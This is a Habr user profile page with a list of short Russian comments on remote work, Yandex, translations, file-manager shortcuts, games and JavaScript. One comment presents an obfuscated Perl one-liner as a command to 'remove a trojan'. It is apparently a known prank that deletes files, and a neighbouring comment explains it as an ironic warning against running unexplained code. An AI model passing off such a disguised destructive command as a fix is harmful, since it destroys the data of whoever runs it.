Pull to refresh
0
0
koriza @koriza

User

Send message
Работать нужно хорошо, а не на удаленке или в офисе. Любой, кто хочет работать на удаленке, но сталкивается с недоверием руководителя, может продемонстрировать хорошую работу из дома и дальше кайфовать, если ему этого хочется.

К сожалению, реальность такова, что много разработчиков себя мнят богами эффективной работы, что на практике оказывается «ой, уже 6, что-то поздно… Пожалуй, потуплю до завтра, отдохну, ну а завтра со свежими силами все сделаю». Признать проблему или что-то изменить при этом они не в силах.

В офисе же отвлечений значительно меньше, в комнату мама с бабушкой не ходят, домашние дела все дома, вокруг умные люди, любящие делать то же, что и ты, оборудованное рабочее место и менеджер/тимлид/просто хороший коллега, который помогает двигаться вперед и сдвигаться с мертвой точки.

Поэтому, если вы в состоянии самостоятельно фокусироваться в течение долгого периода времени, работать хорошо и эффективно, откладывать всякие разные интересняшки на потом и организовывать рабочую обстановку самостоятельно — то вы, во-первых, однозначно годитесь для удаленки, а во-вторых, вне зависимости от знаний языка уже имеете солидное преимущество перед коллегами и вообще вам, возможно, стоит заняться чем-то более серьезным :)

Если это все «хотелось бы», но, например, на вопрос менеджера «окей, ты работал на удаленке три дня и твоя эффективность была сильно ниже — покажешь историю браузера?» вы потупите глазки и будете иметь виноватый вид — учитесь работать, учитесь самодисциплине и благодарите, что у вас есть офис и у кого учиться.

И еще немаловажный аспект социального взаимодействия — банальный tribal knowledge, который строем проходит мимо удаленщика, это проблема. Но это уже в общем-то другая история.
Пока Гугл чистится от продуктов, размывающих фокус и яростно разрабатывает самоуправляемые машины и google glass, Яндекс запускает конкурента Шазаму и Саундханду.

Ребята, без обид, но может быть примените свои без сомнения талантливые ресурсы на что-то более инновационное, а не на копирование (как бы это ни было увлекательно)? :)
А можете показать скриншот хотя бы одного объявления, где будут такие цифры показов, переходов, потрачено и вступивших в группу (это есть в статистике)?
Twitter Bootstrap третьей же иконкой? Почётно.
(блин, в каждой статье про перевод это)

И в начале, и в конце текста есть пометки, в начале — Z->A, в конце — ссылка на автора, рядом с ником автора перевода.
Отличная статья и, в кои-то веки, близкий к отличному перевод! Спасибо.
Который remember me, к примеру.
Очень симпатично.
Слайдер недореализован слегка — в оригинале он ещё и драгается, а не только кликается, многие так делают.
Да чего там понимать, «CTRL+PGUP» подняться на уровень вверх («CTRL+PGDN» вниз, но это полезно, только если в командной строке что-нибудь написано и enter'ом не войти в папку), «ALT+буквы» переход к файлу по имени, CTRL+F? сортировка по разным параметрам. И навигация становится в 10 раз быстрее, чем в проводнике :)
UFO landed and left these words here
НЕ ГОДУЕШЬ, НЕ ГОДЯЙ???
Комментарии-на-подобии. Спас-на-Крови.
Моя версия — не множить тупак.
«Если Годзилла напердит...» — вы что, идиоты? И, ради бога, не надо сообщать, что «в оригинале так же!».
К The Chzo Mythos обязательно надо добавить Trilby того же автора — совсем другой жанр, ни играть дико интересно. Эдакий thief, вид сбоку.
Во-первых, это не шутка, троян действительно удалится (хотя там пишут, что в коде ошибка, я не знаю).

Во-вторых, я всего лишь в ироничной форме отметил тот факт, что автор топика предлагает без особых разъяснений просто выполнить некий код для удаления трояна, что тоже является потенциально опасным действием. Так-то!
Для удаления трояна требуется ввести команду:
cat «test… test… test...» | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Лучший дебаггер для javascript — это понимание того, как устроен javascript (а не только библиотеки), и в первую очередь, наверное, замыкания.
Какой отвратительный слог.
Да брось. Классический же способ, берем самую большую цифру и ставим в заголовок, чтобы читатель обалдел, «как это, API за $220k»? А то, что цены начинаются с $60, это уже в самой статье. Главное — привлечь внимание. Напоминает popunder'ы различных «новостных» сайтов.

Information

Rating
Does not participate
Registered
Activity